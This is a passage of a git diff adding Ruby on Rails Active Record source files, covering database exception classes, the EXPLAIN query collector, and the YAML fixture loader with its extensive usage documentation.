+  class MismatchedForeignKey < StatementInvalid
+    def initialize(adapter = nil, message: nil, table: nil, foreign_key: nil, target_table: nil, primary_key: nil)
+      @adapter = adapter
+      if table
+        msg = <<-EOM.strip_heredoc
+          Column `#{foreign_key}` on table `#{table}` has a type of `#{column_type(table, foreign_key)}`.
+          This does not match column `#{primary_key}` on `#{target_table}`, which has type `#{column_type(target_table, primary_key)}`.
+          To resolve this issue, change the type of the `#{foreign_key}` column on `#{table}` to be :integer. (For example `t.integer #{foreign_key}`).
+        EOM
+      else
+        msg = <<-EOM
+          There is a mismatch between the foreign key and primary key column types.
+          Verify that the foreign key column type and the primary key of the associated table match types.
+        EOM
+      end
+      if message
+        msg << "\nOriginal message: #{message}"
+      end
+      super(msg)
+    end
+
+    private
+      def column_type(table, column)
+        @adapter.columns(table).detect { |c| c.name == column }.sql_type
+      end
+  end
+
+  # Raised when a record cannot be inserted or updated because it would violate a not null constraint.
+  class NotNullViolation < StatementInvalid
+  end
+
+  # Raised when a record cannot be inserted or updated because a value too long for a column type.
+  class ValueTooLong < StatementInvalid
+  end
+
+  # Raised when values that executed are out of range.
+  class RangeError < StatementInvalid
+  end
+
+  # Raised when number of bind variables in statement given to +:condition+ key
+  # (for example, when using {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] method)
+  # does not match number of expected values supplied.
+  #
+  # For example, when there are two placeholders with only one value supplied:
+  #
+  #   Location.where("lat = ? AND lng = ?", 53.7362)
+  class PreparedStatementInvalid < ActiveRecordError
+  end
+
+  # Raised when a given database does not exist.
+  class NoDatabaseError < StatementInvalid
+  end
+
+  # Raised when Postgres returns 'cached plan must not change result type' and
+  # we cannot retry gracefully (e.g. inside a transaction)
+  class PreparedStatementCacheExpired < StatementInvalid
+  end
+
+  # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
+  # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
+  # the page before the other.
+  #
+  # Read more about optimistic locking in ActiveRecord::Locking module
+  # documentation.
+  class StaleObjectError < ActiveRecordError
+    attr_reader :record, :attempted_action
+
+    def initialize(record = nil, attempted_action = nil)
+      if record && attempted_action
+        @record = record
+        @attempted_action = attempted_action
+        super("Attempted to #{attempted_action} a stale object: #{record.class.name}.")
+      else
+        super("Stale object error.")
+      end
+    end
+  end
+
+  # Raised when association is being configured improperly or user tries to use
+  # offset and limit together with
+  # {ActiveRecord::Base.has_many}[rdoc-ref:Associations::ClassMethods#has_many] or
+  # {ActiveRecord::Base.has_and_belongs_to_many}[rdoc-ref:Associations::ClassMethods#has_and_belongs_to_many]
+  # associations.
+  class ConfigurationError < ActiveRecordError
+  end
+
+  # Raised on attempt to update record that is instantiated as read only.
+  class ReadOnlyRecord < ActiveRecordError
+  end
+
+  # {ActiveRecord::Base.transaction}[rdoc-ref:Transactions::ClassMethods#transaction]
+  # uses this exception to distinguish a deliberate rollback from other exceptional situations.
+  # Normally, raising an exception will cause the
+  # {.transaction}[rdoc-ref:Transactions::ClassMethods#transaction] method to rollback
+  # the database transaction *and* pass on the exception. But if you raise an
+  # ActiveRecord::Rollback exception, then the database transaction will be rolled back,
+  # without passing on the exception.
+  #
+  # For example, you could do this in your controller to rollback a transaction:
+  #
+  #   class BooksController < ActionController::Base
+  #     def create
+  #       Book.transaction do
+  #         book = Book.new(params[:book])
+  #         book.save!
+  #         if today_is_friday?
+  #           # The system must fail on Friday so that our support department
+  #           # won't be out of job. We silently rollback this transaction
+  #           # without telling the user.
+  #           raise ActiveRecord::Rollback, "Call tech support!"
+  #         end
+  #       end
+  #       # ActiveRecord::Rollback is the only exception that won't be passed on
+  #       # by ActiveRecord::Base.transaction, so this line will still be reached
+  #       # even on Friday.
+  #       redirect_to root_url
+  #     end
+  #   end
+  class Rollback < ActiveRecordError
+  end
+
+  # Raised when attribute has a name reserved by Active Record (when attribute
+  # has name of one of Active Record instance methods).
+  class DangerousAttributeError < ActiveRecordError
+  end
+
+  # Raised when unknown attributes are supplied via mass assignment.
+  UnknownAttributeError = ActiveModel::UnknownAttributeError
+
+  # Raised when an error occurred while doing a mass assignment to an attribute through the
+  # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  # The exception has an +attribute+ property that is the name of the offending attribute.
+  class AttributeAssignmentError < ActiveRecordError
+    attr_reader :exception, :attribute
+
+    def initialize(message = nil, exception = nil, attribute = nil)
+      super(message)
+      @exception = exception
+      @attribute = attribute
+    end
+  end
+
+  # Raised when there are multiple errors while doing a mass assignment through the
+  # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=]
+  # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError
+  # objects, each corresponding to the error while assigning to an attribute.
+  class MultiparameterAssignmentErrors < ActiveRecordError
+    attr_reader :errors
+
+    def initialize(errors = nil)
+      @errors = errors
+    end
+  end
+
+  # Raised when a primary key is needed, but not specified in the schema or model.
+  class UnknownPrimaryKey < ActiveRecordError
+    attr_reader :model
+
+    def initialize(model = nil, description = nil)
+      if model
+        message = "Unknown primary key for table #{model.table_name} in model #{model}."
+        message += "\n#{description}" if description
+        @model = model
+        super(message)
+      else
+        super("Unknown primary key.")
+      end
+    end
+  end
+
+  # Raised when a relation cannot be mutated because it's already loaded.
+  #
+  #   class Task < ActiveRecord::Base
+  #   end
+  #
+  #   relation = Task.all
+  #   relation.loaded? # => true
+  #
+  #   # Methods which try to mutate a loaded relation fail.
+  #   relation.where!(title: 'TODO')  # => ActiveRecord::ImmutableRelation
+  #   relation.limit!(5)              # => ActiveRecord::ImmutableRelation
+  class ImmutableRelation < ActiveRecordError
+  end
+
+  # TransactionIsolationError will be raised under the following conditions:
+  #
+  # * The adapter does not support setting the isolation level
+  # * You are joining an existing open transaction
+  # * You are creating a nested (savepoint) transaction
+  #
+  # The mysql2 and postgresql adapters support setting the transaction isolation level.
+  class TransactionIsolationError < ActiveRecordError
+  end
+
+  # TransactionRollbackError will be raised when a transaction is rolled
+  # back by the database due to a serialization failure or a deadlock.
+  #
+  # See the following:
+  #
+  # * https://www.postgresql.org/docs/current/static/transaction-iso.html
+  # * https://dev.mysql.com/doc/refman/5.7/en/error-messages-server.html#error_er_lock_deadlock
+  class TransactionRollbackError < StatementInvalid
+  end
+
+  # SerializationFailure will be raised when a transaction is rolled
+  # back by the database due to a serialization failure.
+  class SerializationFailure < TransactionRollbackError
+  end
+
+  # Deadlocked will be raised when a transaction is rolled
+  # back by the database when a deadlock is encountered.
+  class Deadlocked < TransactionRollbackError
+  end
+
+  # IrreversibleOrderError is raised when a relation's order is too complex for
+  # +reverse_order+ to automatically reverse.
+  class IrreversibleOrderError < ActiveRecordError
+  end
+end
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
new file mode 100644
index 0000000000..8bb54a24b7
--- /dev/null
+++ b/activerecord/lib/active_record/explain.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require_relative "explain_registry"
+
+module ActiveRecord
+  module Explain
+    # Executes the block with the collect flag enabled. Queries are collected
+    # asynchronously by the subscriber and returned.
+    def collecting_queries_for_explain # :nodoc:
+      ExplainRegistry.collect = true
+      yield
+      ExplainRegistry.queries
+    ensure
+      ExplainRegistry.reset
+    end
+
+    # Makes the adapter execute EXPLAIN for the tuples of queries and bindings.
+    # Returns a formatted string ready to be logged.
+    def exec_explain(queries) # :nodoc:
+      str = queries.map do |sql, binds|
+        msg = "EXPLAIN for: #{sql}".dup
+        unless binds.empty?
+          msg << " "
+          msg << binds.map { |attr| render_bind(attr) }.inspect
+        end
+        msg << "\n"
+        msg << connection.explain(sql, binds)
+      end.join("\n")
+
+      # Overriding inspect to be more human readable, especially in the console.
+      def str.inspect
+        self
+      end
+
+      str
+    end
+
+    private
+
+      def render_bind(attr)
+        value = if attr.type.binary? && attr.value
+          "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+        else
+          connection.type_cast(attr.value_for_database)
+        end
+
+        [attr.name, value]
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/explain_registry.rb b/activerecord/lib/active_record/explain_registry.rb
new file mode 100644
index 0000000000..7fd078941a
--- /dev/null
+++ b/activerecord/lib/active_record/explain_registry.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "active_support/per_thread_registry"
+
+module ActiveRecord
+  # This is a thread locals registry for EXPLAIN. For example
+  #
+  #   ActiveRecord::ExplainRegistry.queries
+  #
+  # returns the collected queries local to the current thread.
+  #
+  # See the documentation of ActiveSupport::PerThreadRegistry
+  # for further details.
+  class ExplainRegistry # :nodoc:
+    extend ActiveSupport::PerThreadRegistry
+
+    attr_accessor :queries, :collect
+
+    def initialize
+      reset
+    end
+
+    def collect?
+      @collect
+    end
+
+    def reset
+      @collect = false
+      @queries = []
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
new file mode 100644
index 0000000000..9252fa3fed
--- /dev/null
+++ b/activerecord/lib/active_record/explain_subscriber.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "active_support/notifications"
+require_relative "explain_registry"
+
+module ActiveRecord
+  class ExplainSubscriber # :nodoc:
+    def start(name, id, payload)
+      # unused
+    end
+
+    def finish(name, id, payload)
+      if ExplainRegistry.collect? && !ignore_payload?(payload)
+        ExplainRegistry.queries << payload.values_at(:sql, :binds)
+      end
+    end
+
+    # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on
+    # our own EXPLAINs no matter how loopingly beautiful that would be.
+    #
+    # On the other hand, we want to monitor the performance of our real database
+    # queries, not the performance of the access to the query cache.
+    IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN)
+    EXPLAINED_SQLS = /\A\s*(with|select|update|delete|insert)\b/i
+    def ignore_payload?(payload)
+      payload[:exception] ||
+        payload[:cached] ||
+        IGNORED_PAYLOADS.include?(payload[:name]) ||
+        payload[:sql] !~ EXPLAINED_SQLS
+    end
+
+    ActiveSupport::Notifications.subscribe("sql.active_record", new)
+  end
+end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
new file mode 100644
index 0000000000..f1ea0e022f
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "erb"
+require "yaml"
+
+module ActiveRecord
+  class FixtureSet
+    class File # :nodoc:
+      include Enumerable
+
+      ##
+      # Open a fixture file named +file+.  When called with a block, the block
+      # is called with the filehandle and the filehandle is automatically closed
+      # when the block finishes.
+      def self.open(file)
+        x = new file
+        block_given? ? yield(x) : x
+      end
+
+      def initialize(file)
+        @file = file
+      end
+
+      def each(&block)
+        rows.each(&block)
+      end
+
+      def model_class
+        config_row["model_class"]
+      end
+
+      private
+        def rows
+          @rows ||= raw_rows.reject { |fixture_name, _| fixture_name == "_fixture" }
+        end
+
+        def config_row
+          @config_row ||= begin
+            row = raw_rows.find { |fixture_name, _| fixture_name == "_fixture" }
+            if row
+              row.last
+            else
+              { 'model_class': nil }
+            end
+          end
+        end
+
+        def raw_rows
+          @raw_rows ||= begin
+            data = YAML.load(render(IO.read(@file)))
+            data ? validate(data).to_a : []
+          rescue ArgumentError, Psych::SyntaxError => error
+            raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}", error.backtrace
+          end
+        end
+
+        def prepare_erb(content)
+          erb = ERB.new(content)
+          erb.filename = @file
+          erb
+        end
+
+        def render(content)
+          context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+          prepare_erb(content).result(context.get_binding)
+        end
+
+        # Validate our unmarshalled data.
+        def validate(data)
+          unless Hash === data || YAML::Omap === data
+            raise Fixture::FormatError, "fixture is not a hash: #{@file}"
+          end
+
+          invalid = data.reject { |_, row| Hash === row }
+          if invalid.any?
+            raise Fixture::FormatError, "fixture key is not a hash: #{@file}, keys: #{invalid.keys.inspect}"
+          end
+          data
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
new file mode 100644
index 0000000000..ef302fc0a0
--- /dev/null
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -0,0 +1,1070 @@
+# frozen_string_literal: true
+
+require "erb"
+require "yaml"
+require "zlib"
+require "set"
+require "active_support/dependencies"
+require "active_support/core_ext/digest/uuid"
+require_relative "fixture_set/file"
+require_relative "errors"
+
+module ActiveRecord
+  class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
+  end
+
+  # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
+  #
+  # They are stored in YAML files, one file per model, which are placed in the directory
+  # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
+  # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
+  # The fixture file ends with the +.yml+ file extension, for example:
+  # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>).
+  #
+  # The format of a fixture file looks like this:
+  #
+  #   rubyonrails:
+  #     id: 1
+  #     name: Ruby on Rails
+  #     url: http://www.rubyonrails.org
+  #
+  #   google:
+  #     id: 2
+  #     name: Google
+  #     url: http://www.google.com
+  #
+  # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and
+  # is followed by an indented list of key/value pairs in the "key: value" format. Records are
+  # separated by a blank line for your viewing pleasure.
+  #
+  # Note: Fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+  # See http://yaml.org/type/omap.html
+  # for the specification. You will need ordered fixtures when you have foreign key constraints
+  # on keys in the same table. This is commonly needed for tree structures. Example:
+  #
+  #    --- !omap
+  #    - parent:
+  #        id:         1
+  #        parent_id:  NULL
+  #        title:      Parent
+  #    - child:
+  #        id:         2
+  #        parent_id:  1
+  #        title:      Child
+  #
+  # = Using Fixtures in Test Cases
+  #
+  # Since fixtures are a testing construct, we use them in our unit and functional tests. There
+  # are two ways to use the fixtures, but first let's take a look at a sample unit test:
+  #
+  #   require 'test_helper'
+  #
+  #   class WebSiteTest < ActiveSupport::TestCase
+  #     test "web_site_count" do
+  #       assert_equal 2, WebSite.count
+  #     end
+  #   end
+  #
+  # By default, +test_helper.rb+ will load all of your fixtures into your test
+  # database, so this test will succeed.
+  #
+  # The testing environment will automatically load all the fixtures into the database before each
+  # test. To ensure consistent data, the environment deletes the fixtures before running the load.
+  #
+  # In addition to being available in the database, the fixture's data may also be accessed by
+  # using a special dynamic method, which has the same name as the model.
+  #
+  # Passing in a fixture name to this dynamic method returns the fixture matching this name:
+  #
+  #   test "find one" do
+  #     assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+  #   end
+  #
+  # Passing in multiple fixture names returns all fixtures matching these names:
+  #
+  #   test "find all by name" do
+  #     assert_equal 2, web_sites(:rubyonrails, :google).length
+  #   end
+  #
+  # Passing in no arguments returns all fixtures:
+  #
+  #   test "find all" do
+  #     assert_equal 2, web_sites.length
+  #   end
+  #
+  # Passing in any fixture name that does not exist will raise <tt>StandardError</tt>:
+  #
+  #   test "find by name that does not exist" do
+  #     assert_raise(StandardError) { web_sites(:reddit) }
+  #   end
+  #
+  # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the
+  # following tests:
+  #
+  #   test "find_alt_method_1" do
+  #     assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+  #   end
+  #
+  #   test "find_alt_method_2" do
+  #     assert_equal "Ruby on Rails", @rubyonrails.name
+  #   end
+  #
+  # In order to use these methods to access fixtured data within your test cases, you must specify one of the
+  # following in your ActiveSupport::TestCase-derived class:
+  #
+  # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+  #     self.use_instantiated_fixtures = true
+  #
+  # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+  #     self.use_instantiated_fixtures = :no_instances
+  #
+  # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+  # traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+  # large sets of fixtured data.
+  #
+  # = Dynamic fixtures with ERB
+  #
+  # Sometimes you don't care about the content of the fixtures as much as you care about the volume.
+  # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load
+  # testing, like:
+  #
+  #   <% 1.upto(1000) do |i| %>
+  #   fix_<%= i %>:
+  #     id: <%= i %>
+  #     name: guy_<%= i %>
+  #   <% end %>
+  #
+  # This will create 1000 very simple fixtures.
+  #
+  # Using ERB, you can also inject dynamic values into your fixtures with inserts like
+  # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
+  # This is however a feature to be used with some caution. The point of fixtures are that they're
+  # stable units of predictable sample data. If you feel that you need to inject dynamic values, then
+  # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
+  # in fixtures are to be considered a code smell.
+  #
+  # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+  # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+  # that is included in ActiveRecord::FixtureSet.context_class.
+  #
+  # - define a helper method in `test_helper.rb`
+  #     module FixtureFileHelpers
+  #       def file_sha(path)
+  #         Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  #       end
+  #     end
+  #     ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
+  #
+  # - use the helper method in a fixture
+  #     photo:
+  #       name: kitten.png
+  #       sha: <%= file_sha 'files/kitten.png' %>
+  #
+  # = Transactional Tests
+  #
+  # Test cases can use begin+rollback to isolate their changes to the database instead of having to
+  # delete+insert for every test case.
+  #
+  #   class FooTest < ActiveSupport::TestCase
+  #     self.use_transactional_tests = true
+  #
+  #     test "godzilla" do
+  #       assert !Foo.all.empty?
+  #       Foo.destroy_all
+  #       assert Foo.all.empty?
+  #     end
+  #
+  #     test "godzilla aftermath" do
+  #       assert !Foo.all.empty?
+  #     end
+  #   end
+  #
+  # If you preload your test database with all fixture data (probably in the rake task) and use
+  # transactional tests, then you may omit all fixtures declarations in your test cases since
+  # all the data's already there and every case rolls back its changes.
+  #
+  # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to
+  # true. This will provide access to fixture data for every table that has been loaded through
+  # fixtures (depending on the value of +use_instantiated_fixtures+).
+  #
+  # When *not* to use transactional tests:
+  #
+  # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until
+  #    all parent transactions commit, particularly, the fixtures transaction which is begun in setup
+  #    and rolled back in teardown. Thus, you won't be able to verify
+  #    the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+  # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+  #    Use InnoDB, MaxDB, or NDB instead.
+  #
+  # = Advanced Fixtures
+  #
+  # Fixtures that don't specify an ID get some extra features:
+  #
+  # * Stable, autogenerated IDs
+  # * Label references for associations (belongs_to, has_one, has_many)
+  # * HABTM associations as inline lists
+  #
+  # There are some more advanced features available even if the id is specified:
+  #
+  # * Autofilled timestamp columns
+  # * Fixture label interpolation
+  # * Support for YAML defaults
+  #
+  # == Stable, Autogenerated IDs
+  #
+  # Here, have a monkey fixture:
+  #
+  #   george:
+  #     id: 1
+  #     name: George the Monkey
+  #
+  #   reginald:
+  #     id: 2
+  #     name: Reginald the Pirate
+  #
+  # Each of these fixtures has two unique identifiers: one for the database
+  # and one for the humans. Why don't we generate the primary key instead?
+  # Hashing each fixture's label yields a consistent ID:
+  #
+  #   george: # generated id: 503576764
+  #     name: George the Monkey
+  #
+  #   reginald: # generated id: 324201669
+  #     name: Reginald the Pirate
+  #
+  # Active Record looks at the fixture's model class, discovers the correct
+  # primary key, and generates it right before inserting the fixture
+  # into the database.
+  #
+  # The generated ID for a given label is constant, so we can discover
+  # any fixture's ID without loading anything, as long as we know the label.
+  #
+  # == Label references for associations (belongs_to, has_one, has_many)
+  #
+  # Specifying foreign keys in fixtures can be very fragile, not to
+  # mention difficult to read. Since Active Record can figure out the ID of
+  # any fixture from its label, you can specify FK's by label instead of ID.
+  #
+  # === belongs_to
+  #
+  # Let's break out some more monkeys and pirates.
+  #
+  #   ### in pirates.yml
+  #
+  #   reginald:
+  #     id: 1
+  #     name: Reginald the Pirate
+  #     monkey_id: 1
+  #
+  #   ### in monkeys.yml
+  #
+  #   george:
+  #     id: 1
+  #     name: George the Monkey
+  #     pirate_id: 1
+  #
+  # Add a few more monkeys and pirates and break this into multiple files,
+  # and it gets pretty hard to keep track of what's going on. Let's
+  # use labels instead of IDs:
+  #
+  #   ### in pirates.yml
+  #
+  #   reginald:
+  #     name: Reginald the Pirate
+  #     monkey: george
+  #
+  #   ### in monkeys.yml
+  #
+  #   george:
+  #     name: George the Monkey
+  #     pirate: reginald
+  #
+  # Pow! All is made clear. Active Record reflects on the fixture's model class,
+  # finds all the +belongs_to+ associations, and allows you to specify
+  # a target *label* for the *association* (monkey: george) rather than
+  # a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
+  #
+  # ==== Polymorphic belongs_to
+  #
+  # Supporting polymorphic relationships is a little bit more complicated, since
+  # Active Record needs to know what type your association is pointing at. Something
+  # like this should look familiar:
+  #
+  #   ### in fruit.rb
+  #
+  #   belongs_to :eater, polymorphic: true
+  #
+  #   ### in fruits.yml
+  #
+  #   apple:
+  #     id: 1
+  #     name: apple
+  #     eater_id: 1
+  #     eater_type: Monkey
+  #
+  # Can we do better? You bet!
+  #
+  #   apple:
+  #     eater: george (Monkey)
+  #
+  # Just provide the polymorphic target type and Active Record will take care of the rest.
+  #
+  # === has_and_belongs_to_many
+  #
+  # Time to give our monkey some fruit.
+  #
+  #   ### in monkeys.yml
+  #
+  #   george:
+  #     id: 1
+  #     name: George the Monkey
+  #
+  #   ### in fruits.yml
+  #
+  #   apple:
+  #     id: 1
+  #     name: apple
+  #
+  #   orange:
+  #     id: 2
+  #     name: orange
+  #
+  #   grape:
+  #     id: 3
+  #     name: grape
+  #
+  #   ### in fruits_monkeys.yml
+  #
+  #   apple_george:
+  #     fruit_id: 1
+  #     monkey_id: 1
+  #
+  #   orange_george:
+  #     fruit_id: 2
+  #     monkey_id: 1
+  #
+  #   grape_george:
+  #     fruit_id: 3
+  #     monkey_id: 1
+  #
+  # Let's make the HABTM fixture go away.
+  #
+  #   ### in monkeys.yml
+  #
+  #   george:
+  #     id: 1
+  #     name: George the Monkey
+  #     fruits: apple, orange, grape
+  #
+  #   ### in fruits.yml
+  #
+  #   apple:
+  #     name: apple
+  #
+  #   orange:
+  #     name: orange
+  #
+  #   grape:
+  #     name: grape
+  #
+  # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
+  # on George's fixture, but we could've just as easily specified a list
+  # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
+  # the fixture's model class and discovers the +has_and_belongs_to_many+
+  # associations.
+  #
+  # == Autofilled Timestamp Columns
+  #
+  # If your table/model specifies any of Active Record's
+  # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
+  # they will automatically be set to <tt>Time.now</tt>.
+  #
+  # If you've set specific values, they'll be left alone.
+  #
+  # == Fixture label interpolation
+  #
+  # The label of the current fixture is always available as a column value:
+  #
+  #   geeksomnia:
+  #     name: Geeksomnia's Account
+  #     subdomain: $LABEL
+  #     email: $LABEL@email.com
+  #
+  # Also, sometimes (like when porting older join table fixtures) you'll need
+  # to be able to get a hold of the identifier for a given label. ERB
+  # to the rescue:
+  #
+  #   george_reginald:
+  #     monkey_id: <%= ActiveRecord::FixtureSet.identify(:reginald) %>
+  #     pirate_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+  #
+  # == Support for YAML defaults
+  #
+  # You can set and reuse defaults in your fixtures YAML file.
+  # This is the same technique used in the +database.yml+ file to specify
+  # defaults:
+  #
+  #   DEFAULTS: &DEFAULTS
+  #     created_on: <%= 3.weeks.ago.to_s(:db) %>
+  #
+  #   first:
+  #     name: Smurf
+  #     <<: *DEFAULTS
+  #
+  #   second:
+  #     name: Fraggle
+  #     <<: *DEFAULTS
+  #
+  # Any fixture labeled "DEFAULTS" is safely ignored.
+  #
+  # == Configure the fixture model class
+  #
+  # It's possible to set the fixture's model class directly in the YAML file.
+  # This is helpful when fixtures are loaded outside tests and
+  # +set_fixture_class+ is not available (e.g.
+  # when running <tt>rails db:fixtures:load</tt>).
+  #
+  #   _fixture:
+  #     model_class: User
+  #   david:
+  #     name: David
+  #
+  # Any fixtures labeled "_fixture" are safely ignored.
+  class FixtureSet
+    #--
+    # An instance of FixtureSet is normally stored in a single YAML file and
+    # possibly in a folder with the same name.
+    #++
+
+    MAX_ID = 2**30 - 1
+
+    @@all_cached_fixtures = Hash.new { |h, k| h[k] = {} }
+
+    def self.default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+      config.pluralize_table_names ?
+        fixture_set_name.singularize.camelize :
+        fixture_set_name.camelize
+    end
+
+    def self.default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+      "#{ config.table_name_prefix }"\
+      "#{ fixture_set_name.tr('/', '_') }"\
+      "#{ config.table_name_suffix }".to_sym
+    end
+
+    def self.reset_cache
+      @@all_cached_fixtures.clear
+    end
+
+    def self.cache_for_connection(connection)
+      @@all_cached_fixtures[connection]
+    end
+
+    def self.fixture_is_cached?(connection, table_name)
+      cache_for_connection(connection)[table_name]
+    end
+
+    def self.cached_fixtures(connection, keys_to_fetch = nil)
+      if keys_to_fetch
+        cache_for_connection(connection).values_at(*keys_to_fetch)
+      else
+        cache_for_connection(connection).values
+      end
+    end
+
+    def self.cache_fixtures(connection, fixtures_map)
+      cache_for_connection(connection).update(fixtures_map)
+    end
+
+    def self.instantiate_fixtures(object, fixture_set, load_instances = true)
+      if load_instances
+        fixture_set.each do |fixture_name, fixture|
+          begin
+            object.instance_variable_set "@#{fixture_name}", fixture.find
+          rescue FixtureClassNotFound
+            nil
+          end
+        end
+      end
+    end
+
+    def self.instantiate_all_loaded_fixtures(object, load_instances = true)
+      all_loaded_fixtures.each_value do |fixture_set|
+        instantiate_fixtures(object, fixture_set, load_instances)
+      end
+    end
+
+    cattr_accessor :all_loaded_fixtures, default: {}
+
+    class ClassCache
+      def initialize(class_names, config)
+        @class_names = class_names.stringify_keys
+        @config      = config
+
+        # Remove string values that aren't constants or subclasses of AR
+        @class_names.delete_if { |klass_name, klass| !insert_class(@class_names, klass_name, klass) }
+      end
+
+      def [](fs_name)
+        @class_names.fetch(fs_name) {
+          klass = default_fixture_model(fs_name, @config).safe_constantize
+          insert_class(@class_names, fs_name, klass)
+        }
+      end
+
+      private
+
+        def insert_class(class_names, name, klass)
+          # We only want to deal with AR objects.
+          if klass && klass < ActiveRecord::Base
+            class_names[name] = klass
+          else
+            class_names[name] = nil
+          end
+        end
+
+        def default_fixture_model(fs_name, config)
+          ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+        end
+    end
+
+    def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
+      fixture_set_names = Array(fixture_set_names).map(&:to_s)
+      class_names = ClassCache.new class_names, config
+
+      # FIXME: Apparently JK uses this.
+      connection = block_given? ? yield : ActiveRecord::Base.connection
+
+      files_to_read = fixture_set_names.reject { |fs_name|
+        fixture_is_cached?(connection, fs_name)
+      }
+
+      unless files_to_read.empty?
+        connection.disable_referential_integrity do
+          fixtures_map = {}
+
+          fixture_sets = files_to_read.map do |fs_name|
+            klass = class_names[fs_name]
+            conn = klass ? klass.connection : connection
+            fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
+              conn,
+              fs_name,
+              klass,
+              ::File.join(fixtures_directory, fs_name))
+          end
+
+          update_all_loaded_fixtures fixtures_map
+
+          connection.transaction(requires_new: true) do
+            deleted_tables = Hash.new { |h, k| h[k] = Set.new }
+            fixture_sets.each do |fs|
+              conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
+              table_rows = fs.table_rows
+
+              table_rows.each_key do |table|
+                unless deleted_tables[conn].include? table
+                  conn.delete "DELETE FROM #{conn.quote_table_name(table)}", "Fixture Delete"
+                end
+                deleted_tables[conn] << table
+              end
+
+              table_rows.each do |fixture_set_name, rows|
+                conn.insert_fixtures(rows, fixture_set_name)
+              end
+
+              # Cap primary key sequences to max(pk).
+              if conn.respond_to?(:reset_pk_sequence!)
+                conn.reset_pk_sequence!(fs.table_name)
+              end
+            end
+          end
+
+          cache_fixtures(connection, fixtures_map)
+        end
+      end
+      cached_fixtures(connection, fixture_set_names)
+    end
+
+    # Returns a consistent, platform-independent identifier for +label+.
+    # Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
+    def self.identify(label, column_type = :integer)
+      if column_type == :uuid
+        Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
+      else
+        Zlib.crc32(label.to_s) % MAX_ID
+      end
+    end
+
+    # Superclass for the evaluation contexts used by ERB fixtures.
+    def self.context_class
+      @context_class ||= Class.new
+    end
+
+    def self.update_all_loaded_fixtures(fixtures_map) # :nodoc:
+      all_loaded_fixtures.update(fixtures_map)
+    end
+
+    attr_reader :table_name, :name, :fixtures, :model_class, :config
+
+    def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
+      @name     = name
+      @path     = path
+      @config   = config
+
+      self.model_class = class_name
+
+      @fixtures = read_fixture_files(path)
+
+      @connection = connection
+
+      @table_name = (model_class.respond_to?(:table_name) ?
+                      model_class.table_name :
+                      self.class.default_fixture_table_name(name, config))
+    end
+
+    def [](x)
+      fixtures[x]
+    end
+
+    def []=(k, v)
+      fixtures[k] = v
+    end
+
+    def each(&block)
+      fixtures.each(&block)
